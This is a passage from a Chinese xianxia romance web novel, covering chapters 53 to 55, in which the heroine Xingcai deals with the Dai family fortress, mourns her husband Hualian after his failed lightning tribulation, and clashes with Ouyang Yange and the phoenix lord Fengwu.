戴绮又催念两句，希望黑珠能去向戴翠翠赔罪。
然而，黑珠一直不出声，不肯松口。戴绮无奈，踌躇着离去。
荇菜没想到戴家堡的生态是这样：女子为尊，娶夫纳侍。不过，性别互换，男女本性却不会变。
女子为尊，照样也要多夫郎相陪，挺好又挺……无趣。
她不由拍打脸颊：我为什么会觉得无趣？这不是女子的大解放，学男人想干嘛就干嘛吗？
难道是因为我现在俯视他们，反倒用新的视角看待问题？
羽化生说：“你纠结、遵守的东西不过是上苍、世人予你的枷锁。”
男女的相处形制，不过是社会枷锁多年产生的局面。即使在地球，不论是曾经的母系社会，还是未来的高科技世界，女子一夫多侍的情况还是会发生。兴许在不久的将来，一女配N多能干的人造皮机器男人也说不定，持久干净耐脏性能好，花样繁多……
“呵，我这脑子在想什么。天生万物，生灭相克。人生来是万物灵长，男女生来互为钳制。我被朱琴天的主角光环克制，每每避其锋芒，却也是克制道祖天尊黄椒的利器。”荇菜砸下脑子，生出一种微妙的循环感。但是，以她现在的体悟，理解不了内中的玄机。
瞬移出现在黑珠面前，荇菜瞧着他震惊张大嘴的姣好面容，躬身行礼：“黑珠叔叔，请容我这么喊你。多谢你上次挡在我的面前。”
黑珠捂嘴压回滚到喉口的呜咽，眼泪不禁滑落。“花夫人言重，论修为，该是我唤你前辈，于你拜见。至于上次道璇玑的事，天龙道的羽化生尊者已经给过我补偿，他把我丢的精魄还回来。”
“夺魂精魄？这么说道生花和九阳剑尊真在天龙道。”荇菜思量道，“黑珠叔叔，有个不情之请，可否让我一观你的精魄？”
黑珠颔首，旋手掐诀，取出体内的莹润精魄。他见荇菜伸出手，有些紧张，随即想到她是黑羽认定的人，又放松下来，任凭她探来手。
荇菜朝黑珠信任的眼神回以一笑，伸掌祭出一捧三色涅槃火。“如果黑珠叔叔不介意，我想把它送给你。”
“这是？”黑珠试探地伸手靠近火苗，体感灼热滚烫，指腹差点被灼焦，“难道是……凤尊的涅槃火？你把凤尊……”吃了？
荇菜没察觉到他震惊的点，自顾道：“这个过程可能会有点痛苦。但是，我想作为神乌后裔，你也会想要精魄蕴火，成为真正的后裔吧？”
她把火苗靠近黑珠的精魄，可以帮他点火，但是选择还是要黑珠本人来做。这是她帮黑羽偿还黑珠父爱得一种方式。
黑珠渴望地看着这簇火苗，慢慢地垂下头，面上呈现纠结色。
他把黑羽的精魄让子女带走，中途还给荇菜，已经做好成为凡人的准备。成为凡人的动力是戴翠翠的爱，可是，这个女人像是石头一样，捂大半辈子捂不热不说，临到头越来越荒唐。
“花夫人，我不知道，接受它意味着我可以寿长数百年。戴翠翠依旧只能活百年，即使我给她渡灵力，延长生机，也不过多活五十岁。我不知道，我真的不知道该怎么选。”
荇菜握拳，熄灭掌心的火，上前握住黑珠的手：“我是来正式向你致歉。无论如何，黑羽的事，我都要给你一个交代。”
她打断黑珠的挣扎，说起黑羽的事。
在黑珠望来时，荇菜在眼眸里展示当日黑羽甘愿牺牲的场景。黑羽为救逆行经脉的荇菜，选择损失周身的固体灵力，消散成灵光。
黑羽的爱无私到令荇菜刻骨难忘，生出一份难以忘怀的遗憾。
“唔，这孩子……”黑珠一下子瘫软在地，哭得无法自抑。不仅为黑羽，也是为他自己的未来。
荇菜拥住他，取出自身心脏处的精魄。炙热的精魄印出一阵火光，
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映在两人的面庞，照亮彼此的眼眸。
火是热烈的，光会带来希望。
黑珠小心地伸出手碰触温热的光，自身的精魄像是趋光的植物追随荇菜的精魄，彼此互相吸引，引出一道火苗，照亮黑珠惊讶、充满渴望的面容。
荇菜以驭音术相问：“黑珠叔叔，若是你想，我可以帮你成为真正的神乌后裔。若是你选择沉沦人世，我也会以惑术让你的妻子永远爱你，直至她死亡。现在，由你来选择，接下来的百年，你要怎么渡过。”
黑珠印着火光的希冀眸子在荇菜说出后面那个选择时生出璀璨的光芒。这让荇菜明白他的选择。
“原来黑羽是像你。黑珠叔叔，谢谢你爱着黑羽。同样，对不起，我没有保护好他。”荇菜闭眼压下泛上的伤痛，感知黑珠的精魄回他的体内，意念神动，引蕴藏火种的精魄归体。
“他是个温柔的孩子，被你这样善良的美人喜爱，他会感到很幸福。”黑珠轻声道。
荇菜承担不起这个评价。她松开黑珠，抹去他沁在眼角的泪意，温柔道：“谢谢你。黑珠叔叔。你放心，晚间的时候你的夫人会来接你出去。日后，她再也不会这样待你。”
黑珠笑着摇头：“我和她夫妻近四十载，许多事都能看开。我不愿意接受火种不是对她有留念，而是我的孩子们还在戴家堡。他们像是永远展不开翅膀飞翔的鸟儿，需要父亲的守候。凡人的枷锁实在太多，而我舍不得他们吃苦。”
这是一个好父亲，却不会做一个父亲。这是荇菜对黑珠行为的想法，转念又道：“黑珠叔叔，我予你一个承诺，若你在有生之年还想要点燃精魄火种，就来找我。我随时愿意为你效劳。”
荇菜起身，再次朝黑珠正正经经地行礼。
黑珠的心动了下：戴翠翠、凡人儿女总有百年，若他们故去，还能继续心无旁骛地留在戴家堡忍受这一切吗？
他不自觉问：“我怎么找你，夫人？”
“上合欢宗问‘合欢妖女’，自会有人带你来见……”本尊。
在黑珠伸手来时，荇菜的身影已经消失不见。
花涟说得没错，黑珠是真诚的男子，会体谅理解黑羽的行为，也会原谅荇菜。
荇菜出柴房，来到戴翠翠的巨大花园。
富贵老太太在花团锦簇中和她的小侍夫们玩捉迷藏，被捧得乐哈哈。
“真好。这大概是一个女人的极致快乐。”荇菜祭出蜃珠，布下一重幻境。
幻境里，戴翠翠扑着美貌年轻的侍夫，一脚落空，摔了一跤。年纪大的人经不起摔，伤筋动骨，一百天都不一定能好。
这一跤跌得让戴翠翠一病不起。
起初，侍夫侍郎们殷切地照顾她，让她着实享受一把被关怀的滋味。然而，久病床前无孝子，大夫说戴翠翠已经病入膏肓无救，侍夫侍郎们连夜卷钱财跑路，直接把戴家堡的库房搬空。丫鬟仆人们也把堡里能抱走的贵重物品都挪走，无人在床前伺疾戴翠翠。
53. 第 53 章
幻境里，戴翠翠在孤独和绝望中等死。黑珠像是一道光一样出现，对她不离不弃，一直将戴翠翠照顾到遗憾离世。
幻境散去，戴翠翠被侍夫们围抱着，恍惚地推开嗷嗷叫的侍夫，吼退扑来的男人们。她哽咽着蹒跚着向柴房奔去，边跑边喊：“快，快去把黑大郎放出来。我要见他，见他……呜，大郎……我的大郎，我还没和他白头偕老，大郎啊……我错了错了呀……”
荇菜浮在半空，冷眼瞧她跌跌撞撞奔向柴房，不由咧开嘴，人果然要在失去后才懂珍惜。
她转身离开戴家堡，赶回合欢宗，刚入欧丝国境，又被欧阳燕歌拦下去路。
荇菜被他惹恼，单手叉腰，愠着怒火：“说吧，这次你想怎么解决才能让我不杀你？”
欧阳燕歌知道她的想法不一般，没想到这么不一般。“小仙女，前一次的故事这么精彩，买的路钱够还这次吧？不然，你再多问我几个问题，我定知无不言，言无不尽。”
荇菜被他的厚脸皮逗笑，讽刺道：“知不知道被我的惑术选中的人都没有好下场。”
欧阳燕歌也在笑：“若真被小仙女选中，那是我的命。小仙女，真得不把握机会吗？”
荇菜生出种“他话里有话，知道些什么”的想法，又想起远在合欢宗的花涟，担心那个死脑筋真跑去渡化神劫。
“本尊暂且把你的问题留着，待本尊从莲花峰下来，再找你一并清算。”
“好啊。我在玉华镇等候小仙女大驾光临。”欧阳燕歌兴奋道，目送她遁入空间通道，仰头观看风云聚变的天色，喃喃道，“成长得真快。可惜，经验不足，若你肯停下问一句，兴许他能陪你走很长一段路。”
*
合欢宗被阴云笼罩，云层里雷电游走，惊现紫光隐雷，迸发时犹如通天紫树，上接天门、下扎峰头，炸亮整个宗门山野。
当你以为只有这样一道通天彻地的雷劫时，纷至而下四十九道雷劫，炸得空中的男人一寸寸往莲花峰上砸去，直抵在莲花峰上空的结界，眼见下方的结界即将破碎，整个莲花峰都有可能被闪电游雷夷为平地。
合欢宗不出世的半月尊者跑出来观看门中长老渡劫，朝一旁神情焦灼的清欢宗主道：“这是紫雷，乃是化神劫里的顶级雷劫。若非天资绝佳、命带天启者不可能迎来、承受这样的雷劫。莲花峰，不会是那个躲着不敢见人的小子吧？本尊记得他叫花涟，这就修到化神了？”
清欢宗主急得团团转，不忘拱手行礼：“半月尊者，现在怎么办啊？”
“什么怎么办？开启各峰结界，总不能让紫雷毁掉莲花峰，再毁整个合欢宗。”半月尊者蹙紧长眉，裙衫如紫云堆叠，在紫光里更添几份贵气，“本尊记得花涟在前几月结侣吧？若他渡劫失败，他的道侣也会死。”
清欢宗主愣顿，朝一旁已经看傻眼的贺喜吼：“妖女呢？不是，花涟的夫人呢？叫什么菜……”
贺喜啊了声，耳听炸雷巨响，又转回脑袋，目不转睛地看花涟渡劫。“神佛保佑啊。以往花涟渡金丹、元婴的雷劫都能稳稳当当，这次一定要平安无事。”
清欢宗主眼见贺喜靠不住，朝一旁的水幻瞧去。水幻早就去招呼各峰开启护山结界，没留在原地观看渡劫。
接收宗主目光的水玲珑缩下肩头，呐呐道：“我也不知道师姐去哪。花涟长老回来时，我还找上门想见师姐一面……”
“师姐？”清欢宗主和半月尊者一起看向水玲珑。
水玲珑捂口，在大佬的眼神下颤巍巍地说出真相：“花涟长老的夫人，名唤——荇菜，原名金莲，花涟长老养在莲花殿得那个小女子啊。师姐在外宣称是花涟长老的小弟子，我与她在外相识，一直唤她师姐。到了峰上，她又让我唤她……行姐。”
半月尊者揉捏额头，在一声炸雷下回过神：“乱七八糟的缘分。结界破……了。”她举手祭出偌大的结界，防住突破莲花峰的雷劫散溢向四周，护下周边众弟子，“紫雷威力惊人。本尊上一次见到紫雷还是他渡大乘境雷劫的时候，整个中州都被紫雷覆盖，成片压下，却被他一人抵挡消弭。”
清欢宗主抹去额头的冷汗，靠近半月尊者：“他……难道是指……那个他？”他手指向天，不敢说出真实名讳。
半月尊者哼了声，看向大滴砸落的雨点，天阴沉得像是要掉下来。
她又气又叹：“有什么不敢提，道祖天尊黄椒也是从小修士一步步走上来，只不过他的路比大多数人顺利。
花涟渡劫失败，你们留下善后。
这次，合欢宗一次性损失两名元婴。清欢，用点心思吧，快点栽培门人，免得合欢宗连八宗的末尾都够不上。”
说完，她直接消失在半空。
清欢宗主在半空跺脚，看向赶去莲花峰的贺喜，急忙跟上去。
贺喜抱起肉身法体残损、大口呕血的花涟，忍不住掉下两滴泪：“兄弟啊，这是何苦呢？没有准备好，怎么就敢渡劫？”
花涟再次呕出一口血，紧紧地抓住贺喜的手臂：“通知……雷火寺……龙弼……大师，我可以证明，我感应到他……他确实……没有死。”
“你在说什么呀？”贺喜不明所以，却感知到他抓在手腕上的力度，直接点头，“好好好，我一定把你的话原封不动告诉龙弼秃驴。”
他看着衣衫残破冒烟的好友，连雨滴都浇不灭身体上被雷电灼烧出的血条烟火，心痛得无以言语。
花涟听后明显松了口气，闭眼感应了下魂契，露出破碎欣喜的目光：“她在……赶回来，我要……收拾一下……见她。宗……主……”用祈求的眼神看向清欢。
清欢理解到他的意思，赶紧同水幻动用法力恢复有些损伤的莲花峰。
尽管不能同原来一模一样，收拾过后还是大差不差。
水幻施法时喃喃道：“最后一道紫雷打下来时，我看到他拿身体抵挡击向莲花殿的雷劫。他怎么会宁要保住殿，也不要一条命？”
清欢宗主叹息了声：“莲花峰是他的家。花涟是个痴人。”
水玲珑在殿外呜呜地哭，被收拾好出殿的水幻仙子一把拉走。“师父，花涟长老是不是没救了？”
“元婴破碎，经脉寸断，回天乏术。按照道理，他理应消散，至今还留存法体，是在等道侣回来。”水幻说完，走到莲花峰的道口，任由雨水砸在脸面，遮掩一身失意伤情。
有谁懂，水幻很早就看上这个淳朴俊雅、说话不敢正眼看人的老实人。只是，老实人的愿望是娶一个
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普通的良家女子……她以为可以等，却是一次错过，终无再来。
水玲珑抹把脸，取出一把绣绘男女观荷游湖的绸伞法器遮在水幻的头顶。
她仰看画面上的男女绣绘，喃喃：“可是师父，行姐……长老夫人不是同花涟长老结侣，签下天地同心魂契吗？若是花涟长老重伤逝去，夫人应该也会身受重伤，又怎么可能赶回来？”
“你说得对，我不能让他带着遗憾离世。”水幻一步跨出，正要去寻荇菜，就见荇菜惊现在莲花殿外。她赶紧招手，然而，荇菜已经疾步入大殿。
这时候她越发感受到一种情殇：“玲珑，若是你还记挂山泽国主崔洧，就去找他。别自己跟自己较劲，没意思。”
“啊？”水玲珑不明白师父怎么突然说这个，不解道，“奇怪，我瞧行姐的身形、步履，不像是受道侣魂契的影响啊。”
她与回过神的水幻面面相觑，一起生出许多不解。
荇菜在大殿绕一圈，蒸腾掉周身的雨水，携一身热气循着花涟的气息进寝殿。
花涟的寝殿在荇菜来后被她霸占。如今，两人又是道侣，自然要住一块。
“花涟，我回来了。”荇菜一步踏入寝殿，察觉花涟的气色有异，结合此前赶来路上的风云变幻，不难猜出此地经历什么，而她希望这不是真的。
“娘子……”花涟试着装出安然无恙，想要问候她，为此让自己的心跳加快，让惨白的面色充盈血气。可是，这样反而加重伤势，血涌向喉口，连话都说不出。
荇菜不仅听到他粗重的呼吸声，还闻到呼吸里携喘出的血气，一言不发地走到他的面前，蹲下身仰看他。
花涟试着张嘴再唤他一声娘子，充斥喉口的血让他不敢张口，努力滚动喉结，咽下肚，“娘……子，顺……利吗？”
荇菜抹去他溢出唇角的血线，忽然咧开嘴笑：“顺利。傻不傻？我让你化神，你就真回来化神？”
“不是……不是这样。”花涟试着扶起荇菜，却使不上力。
荇菜主动坐到床沿，握紧他的手。心上沁出淡淡的忧伤，像是海底的气泡，一个个断断续续地往上冒。
“娘子，我想……渡劫，化神……后就可以……一直陪着娘子。嗬……我们……一起走……很长很长的路。在三角梅……花树下，与娘子……坐着，一起赏花……”花涟努力支棱着头，望入荇菜哀伤的沁水眼眸，感同身受地落下泪，“不哭，娘子。我想……再看一次……幻境……”
荇菜眨眼，抹去眼泪。她把努力支撑身体的花涟轻轻一推，让他往后倒下去，又一把拉住斜下去的花涟，在他的信任眼神下让人缓缓地躺在床榻。
她俯视着他，理顺他散落出来的鬓发：“真狼狈。你要好好看着我的眼睛，不可以眨眼。我会顺着你的眼神，进入你的心，告诉你……一个秘密。”
花涟露出幸福的笑容，听话地注视荇菜的眼神。
紫波潋滟里燃烧起无比巨大的火苗，火光里映衬一棵巨大无比，犹如梧桐巨树般的擎天三角梅花树。
荇菜低首亲吻花涟，轻柔道：“乖，闭上眼。”
灵识缠绕花涟得那缕结契魂识引渡进荇菜的识海。这是荇菜第一次让人进入识海，窥见那个秘密。
54. 第 54 章
荇菜的识海里遍布高楼大厦，车水马龙，行人如织，完全是现代都市化的场面。
她握住花涟的手，与他并肩浮空行走，像是两个刚从化妆间出来的COSPLAYER。
花涟看着离奇的城市，惊异过后是被信任的喜悦，露出满足地微笑：“这是娘子的秘密。”
荇菜指向不远处的高楼，三十层的位置：“那是我实习生工作的地方。若没有那场意外，我有可能已经转正成功，像他们一样开启朝九晚五，周末赶回公司加班的日子。”
花涟没太听懂，被荇菜拉带着出现在一处街角巷道。
荇菜指向从破开的装修围栏里捡板砖的女生，含笑道：“十秒后，她会被傻呼呼地拍死。”
识海的幻境里，无声的城市一角，穿着田园风扎麻花辫的女生拾起板砖冲向争吵的两方人群。
荇菜依旧在微笑：“看到吗？我捡起板砖的时候估量过，至少能恐吓住对方，角度是一男一女的左侧空位。按照道理吧，我帮这对男女，男得肯定能雄起吼两嗓子吧？毕竟对方先拿板砖耍横啊。”
花涟无声地笑起来，眼里露出心疼。按娘子的话意，事实应该正好相反。
“这个胆子小得跟老鼠似的男人拿我当挡箭牌，拉着女朋友跑了，害我被人偷袭一板砖，直接被一血KO，你说气不气？”荇菜打出一个响指，不论是三男还是一男一女的幻影全都消散如烟。
“确实可恶。”花涟应道。
荇菜带着花涟再次踏入一处高楼住房。房里布置得非常温馨，桌上摆满小零食，中年男女正在忙碌做饭，打开的冰箱里有荇菜爱喝的饮料。
荇菜的手穿过中年女子的脸庞，压抑着思念，柔声道：“这是我的爸妈，就是父母。我下了班，去学校拿资料前给他们打过电话，预计一个小时后到家。他们在电话里说买了我爱吃、爱喝的零食饮料，也在准备做我爱吃的菜……
花涟，我想他们，我想回家。”
荇菜背对花涟，绷不住情绪，大声喊：“我想回家。”
这一瞬间，花涟被她识海内充盈的悲愤、哀伤、痛苦、思念、纠结等等的情绪紧紧地包围，下意识就搂紧荇菜，试图替她再承受一些重量。
周遭的高楼景色消弭，露出遮天蔽日的三角梅花树。
在花叶的红光掩映中，荇菜仰头看向容颜楚楚、替自己哀伤的男人：“花涟，我不会放过你。”
花涟露出温雅的笑容，轻轻地点头：“娘子，我已经准备好。而且，我要把所有得一切都留给娘子。”
荇菜被他这话震住，猛地往后退，却被花涟给捉住手。
她无法理解般歇斯底里的大喊：“你疯了。我说我要吞噬你，而你已经没有灵力了。”
花涟听出她的反话，将人再次拥进怀：“你知道，支撑裂魂破境阵的灵力还在，也可以让你冲破元婴中期的禁锢。
何况，他的魂丝留在这。只要我带着魂丝回去，你与他就彻底捆绑，借住他遍布大陆的分身不断壮大自身。不必经历渡劫，因为两体同灵，他的灵力本就是经历雷劫的灵力，你会成为第二个他。”
花涟充满鼓励和支持以及希冀的眼神锁住呆愣的荇菜，“我真得很想很想和娘子在一起，长长久久地在一起。但是，如果娘子的希望是回家，那么，我也会支持娘子。”
荇菜有些无法理解他的爱，究竟是什么样的人可以爱到这种程度，而这个人就在眼前，即将消散。
她感到巨大的悲伤，比对黑羽的遗憾还要难过，已经说不出任何话。
“没时间了，娘子。”花涟抚摸荇菜满是哀伤的脸庞，“往后，娘子会明白我的用意。娘子只要记住一直走下去，不必迟疑迷茫，甚至为我难过。
因为，我一直在等娘子来寻。”花涟倾身吻向荇菜颤抖的唇瓣，呓语声般道，“最后，为夫要孟浪了，娘子……”
“啊……”
荇菜被花涟的神识席卷整片识海，无法承受的海量知识像海啸一样排山倒海地袭来。
在这样的压力下，她竟然感到身体上传来合欢的快意。
巨大浪潮将她带着冲上海浪的顶端，像是追逐激情的冲浪者从堆卷如雪如蓝的波浪里冲刺出去，带出一阵身心和灵魂上的酥麻颤栗。
这个过程短暂得像是一道闪电，却又漫长得可以记忆余生往后。
荇菜用着强大的意志挣脱这阵快意，在现实里，手按在花涟的心口。蜃珠的万年冰雪瞬间爬满、封冻花涟的破损尸体。
被冰雪刺激得荇菜陡然再次颤栗，一股热流从身体里激荡而出。她的脸面嫣红含春、眸色水润带情，当真是颠覆常识的纯爱。
于此同时，她感受到花涟的神识脱离识海而去。
一道金红法印盘旋在花涟冰封的尸体上方，携带天地魂契的烙印，当着荇菜虚弱发颤、还未反应过来的眸光，旋飞而去。
十字箴言：“情缘在系，生死有道。情意。”
荇菜没有心思去追法印，耳闻浮在空中的熟悉的花涟的“情意”声，明白这是花涟短暂人生的经历总结：经历一场情缘，明了生死大道，却犹是选择情意系挂彼此。
泪砸在冰封的尸体上，荇菜酥软的身体稍微用力往外一斜，滚落在床前的脚踏板，发出一声轻柔的呼声。
似乎这一切都在按荇菜当初的计划完成。回归黄椒的裂魂阵法会携带花涟的感悟，多一道天地同心魂契、半缕魂识，成为道祖天尊无法解开的心魔。
因为，它蕴藏花涟的挚爱誓约。
从此，荇菜和道祖天尊黄椒以天地契绑定，同生共死、不死不休。
扶着床榻的荇菜缓过身体上泛起得酥劲，靠坐在床沿，反手摸在冰凉的冰封尸体。彻骨的凉意彻底压下身体的火热，心上的伤情。
她头也不回把尸体移入蜃珠的冰雪大厅，矗立在鲛童的旁边。
荇菜没有勇气去看一眼蜃珠里的尸体，脑袋后仰，倒靠在床沿。头胀得厉害，各种丹药学、阵法学、合欢功法……充盈识海，在荇菜的
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强大意志下分门别类地归档在识海内犹如莲花殿书房般的幻化书架上。
花涟把全部所学都留给荇菜，不仅有三百来年的学识，乃至整座莲花峰。
水玲珑踏入漆黑的寝殿，扬手挥出可以铺满殿的酒坛子，朝已经七天没有挪动过的荇菜道：“行姐，想不想喝醉？”
“醉了会怎么样？”荇菜沙哑地道：头七了，没等来花涟的灵魂。可笑，即使花涟有灵魂，也只会回归道祖天尊。
“大概会再见到他，又或许，就此忘了，也说不定。”水玲珑陪她坐靠床沿，摄来两坛酒，一坛塞入荇菜的怀。
她拿上自己这坛酒，仰头就喝，“咕噜噜……”好生畅快的喝法。
荇菜挪眼神看她，捧起酒坛就喝：“咳咳……”
“哈哈……行姐，你不会喝酒啊。”水玲珑大笑，举坛子往她的酒坛子撞了下，发出清脆的响声，又自顾笑喝起来。
荇菜压下喉口的辣感，继续举坛子喝下肚。
她想起凤武，摄三坛酒进蜃珠空间，一坛给凤武，另外两坛入蜃珠的冰雪大厅，立在鲛童和花涟的冰尸前。
她看着水玲珑的憨劲，哑声道：“喝，谁不醉谁就是傻蛋。”
水玲珑大笑，应话道：“好啊，喝。不醉那个就是傻蛋。”
两人干掉整殿的酒，喝得醉醺醺。
水玲珑搭着荇菜的肩头，卷大舌头：“行姐，你这辈子……睡得最难忘得一个……男人，是谁？花涟长老吗？”
荇菜顿了下，双眼朦胧地看向傻姑娘。她想起识海被席卷得那刻，冲刺花涟强大神识气息，一种排山倒海般的占有和侵略，引荡整个灵魂和身体为之颤栗鼓动。
被回味狠狠激灵住的荇菜扒开水玲珑靠上肩头的脑袋，蹒跚着站起身。
拜水玲珑所赐，醉醺醺忘怀的感觉已经消失无踪，余下得是身体上的舒畅快意。
荇菜捂住脸颊，嫣红的面色泛起春情，摇摇晃晃地离开寝殿，寻去汤池处。
水玲珑爬滚上床，酒坛子夹在两/腿/间，呓语般喃喃：“洧小郎君，你敢喝敢钻？”
梦境里的崔洧拿漆黑的双目紧紧地盯着水玲珑，发黑的脸面突然哂笑出声：“有何不敢？美人膝下酒，淋漓春雨情。”
“嘻嘻……”醉梦中，水玲珑情不自禁地笑起来，摆动起腰身。
*
天亮了又黑，黑了又亮，整座莲花峰漂浮着一阵醉人的酒香。
赖大走入莲花峰大殿，被空气里的酒气熏得想往外逃，又想起一日三善事的目标，鼓起勇气走进寝殿。
满屋子空酒坛，连落脚的地方都没有。
他开始边收空酒坛、边御清风诀，吹走殿内的酒气。
至寝殿的床铺前，水玲珑一个人抱着酒坛子在床上呓语。
赖大叹了声，环顾四周：“怎么没有花夫人的身影呢？”
荇菜穿着花涟的白衫袍子，无声得从外走入寝殿，站在赖大的背后，幽幽启口：“你在找我？”
55. 第 55 章
赖大吓一大跳，赶紧回头行礼：“花夫人，赖大我……”
“你收拾的？”
“哎，是。这日行三善嘛。近来，小灵兽峰的灵兽一直在嗷嗷叫，宗里有弟子知道后喊我来看看，我就去喂它们。还好，它们都还认得赖大，现在已经不叫唤了。另外，我把莲花峰的菜圃、药圃都浇过灵水……不过，不少圃里的菜啊、药啊都被毁了。”
荇菜平静如海的眼眸定定地看着赖大，往常这些事都是花涟亲力亲为……她莫名地呵笑出声，瞧着赖大痴呆的眼神，颔首道：“本尊就不追究你擅入寝殿的罪过。回去吧。”
“哎……哎？”赖大望着她的眼睛狠狠地激灵了下，回神后行礼，离开时一步三回头。
荇菜看着他的侧影，轻笑：“你想回莲花峰做管事？”
赖大一下子跪在地上，磕首道：“是，花夫人。你是峰主的夫人，以前峰主对赖大很照顾，知道赖大做事……欺瞒、荒唐，却没真正怪过。如今，峰主不在，莲花峰上就夫人一人，我想回来帮忙处理着杂事。
夫人，你放心，我已经改掉偷奸耍滑的毛病，玉华镇上的百姓也已经对我改观……”
“玉华镇……”荇菜想起欧阳燕歌，那个是会算命的天净宗人。她轻叹了声，“峰里不需要人，但是本尊缺一个在峰外跑腿、守规矩的人，你可愿意？”
“愿意愿意。”赖大忙不迭应下。
荇菜点头：“下一次，你带一些灵蔬种子和药材，专挑花涟曾经种过得那些带来给本尊。你再上玉华镇向一个人带一句话。”
赖大应下荇菜的吩咐，躬身行礼后离开莲花峰。
荇菜走到床榻前，巴拉走水玲珑抱在怀里拱的酒坛子，听着她呓语喊“崔洧、冤家”，不由摇头：“原来，你对他的情谊这么深。喝醉又能怎么样？在心里念叨的人照样会在梦里出现。”
来到寝殿里的梳妆台前。以前这里没有妆台，某一天，它就出现在这，与寝殿完美融合。这是花涟的手笔。
拂过玉石桌面，荇菜朝镜子里艳光四射的女子笑了下，镜子里的女人颊面含笑，双眸却带伤，似乎哭感比笑意重得多。
低头翻过左侧台面上的袖里乾坤囊。
这只乾坤囊非常有趣，神识绑定后可以贴服在衣袖的内口，里面是花涟的全部家当：数不清的灵石、金银，丹鼎、丹药、存储药材的玉盒，用冰鲜方法保存的灵蔬、一把带流苏的法剑……取出法剑，轻弹剑身，剑吟清脆，宛如山泉轻流。
“你竟抹去灵剑上的神识。这样，法剑不会在你渡劫时被毁。你到底在拿什么渡劫？花涟啊花涟，怎么这么傻？”
一只陌生的浅红玉盒出现在荇菜的眼底。拿出玉盒，取出里面的三张枫叶，抚摸上面那句：“妻闲夫忙一座山，日日登峰顶簪花。”
眼泪砸在枫叶上，顺叶脉滴落在妆台。他想要得不过是岁月静好，夫妻同忙又同心，偏偏事与愿违。
荇菜抑制不住耸动肩头，又哭又骂，咬牙切齿：“黄椒，你个混蛋。”
天龙道的浮空城里，天尊大殿的深处，道祖天尊黄椒一身仙品白衣已经幻化为金红色泽。这代表他的神识被归来的花涟洗涤，引起情绪上的巨量变化。
紧闭的双眸下是游动挣扎的眼珠，蹙紧的眉心暴露他此刻的心情。
双手法指捏出的印诀锁住一道从外归体的魂识法印，正是花涟携带回来的天地同心魂命契。
如若法印入体，魂契相绑，真正是同生共死。
一时慎择，一念情动。
黄椒在归殿后也会一拍额头，生出生死抉择的挣扎。如峰起伏的红唇轻吐：“道机、慎择、天命、求何、情意……以魂求道，以情破境。情随法，意随心，一择定生死，慎啊。”
*
一个月后，荇菜在莲花峰的菜圃里种菜，旁边是欧阳燕歌在随意地洒水。
荇菜扔下铲子，朝闻声站直的男人喊：“喂，我种好，你浇死，究竟来干嘛？”
“反正不是来给某个伤心失意人算命。我来陪小仙女渡过情伤啊。听说渡过一场情伤得最好办法是开启另一段感情。小仙女，要不，咱俩试试？”欧阳燕歌随手御回水壶到架子上，挪近荇菜的身旁。
荇菜举起四爪铲子，杵在欧阳燕歌面前：“警告你别惹本尊，若你想死，本尊马上成全你。”
欧阳燕歌嘻嘻一笑，挪开铲子，又道：“你总要给我找点事做吧。这浇水拔草的活真不适合我。小仙女，你这样……在屈才。”
荇菜冷哼，继续伺候灵蔬：“究竟想怎么样？”
“不如，小仙女把凤尊还给天羽宗吧。”欧阳燕歌察觉她的火气，立时往后撤。
荇菜看向手里烧焦的菜，连铲子柄都冒烟。封冻铲柄，扔在地上。睨向往后躲的欧阳燕歌：“人说，路遥知马力，日久见人心。你陪本尊一个月，倒是露出来意。”
欧阳燕歌摆手谄笑：“不是你想得那样……”被突然瞬移逼近的荇菜压迫地往后弯腰，弓成个直角腰身。
荇菜勾唇，探脚勾他的小腿，听着他哎呀呀摔在泥地，大笑出声：“哈哈哈哈……”
欧阳燕歌躺在地上，看着她开怀的神情，不由露齿陪笑。
眼见荇菜又落脸色，他咽口吐沫，爆出个名字：“朱红颖，小仙女听过这个名字吧？”
荇菜一脚踢在他的膝盖，顺道下点追踪术：“知道，天羽宗护法。本尊结侣时她也来祝贺。”
“小仙女应该知道朱红颖为什么来祝贺吧？此外，朱红颖蹲守玉华镇，为什么不上山，小仙女能猜到吧？”
荇菜睨他：“究竟要说什么？”
“放了凤尊。”欧阳燕歌起身，拂过净尘诀，拍掌道，“朱红颖至今不找小仙女的麻烦是看在天龙道羽化生来参加婚礼的面上。此时，你放凤尊回去……”
“你怎么知道凤武在本尊这？阳梧山大火整整烧一个月，连山都烧黑，修为半残的凤武早被三色焰烧成灰烬。”
欧阳燕歌越听越想笑，认真分析：“小仙女一身火气，身穿凤翎羽衣，足挂凤尊修炼的五色本命神羽之一的火翎羽。
这火翎羽明显是凤尊最新修炼出来的本命羽，足以证明凤尊尚存，而且就在你这。如若凤尊再不回归羽民国，天羽宗和羽民国皇室必有大战。到时……”
“你是天净宗的人，却为天龙道做事。”荇菜一语点破他的动机，转手放出衣衫不整、喝得醉熏熏的凤武。
凤武一落地，手中的酒坛子就滚在泥地。凤眸锁住熠熠生辉的荇菜，眸光、面庞显现挣扎迷茫色，已经看不到别人。
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>荇菜没看凤武，朝欧阳燕歌道：“正好本尊也懒得养鸟了，他答应本尊的事也已做完。你要他，就直接领走吧。”
凤武被忽视，猛地看向欧阳燕歌，大喊：“女人，他是谁？”
“跪下。”荇菜轻眯凤眸，无声吐字。
凤武吧唧一下跪在泥地，周身火光冲天，怒不可遏：“你当着别人的面让本尊跪？你喝醉那天是怎么……”
“凤尊，喝醉那天是指……”欧阳燕歌举手挡在眼前又打开指缝。
“你是什么东西，胆敢探听本尊？”凤武自觉颜面尽失，不容外人窥见。祭出一道涅槃火灼向欧阳燕歌。
荇菜眼见欧阳燕歌躲开，火苗落点是花涟种的灵蔬，当即祭出灵力收起火焰，转头一巴掌打在凤武的面庞。
凤武被扇得眼眸发红，不可置信地仰头盯向荇菜。女人怎么可以反复无常，变幻脸孔？
“你这个女人……”
“啪”得一声，又是一巴掌。荇菜怒不可遏地看着他，咬牙切齿道：“闭嘴。”
“你……”想睡老子那天可不是这样……
“啪”，又是一巴掌扇来。
凤武接连被打歪的脸露出狠辣的表情，垂着脑袋，扣紧的掌心流出炙热的鲜血。血落在泥地，发出滋啦声。
他撑着膝盖、哂笑着站起身，似乎距离疯魔只一步之遥。
欧阳燕歌感受到他的杀意，本能就挡在荇菜的面前。
凤武看着两人的亲密举动，一个挡火，一个挡杀，被气笑。看着她冷肃冰艳的面庞，反倒舍不得杀她。何况，也杀不死她。
冷笑道：“放我出来是打算让我回去？”
“在问问题前，加上主人两字。”荇菜在欧阳燕歌肩后淡然道，脑子里也想起那荒唐得一幕。
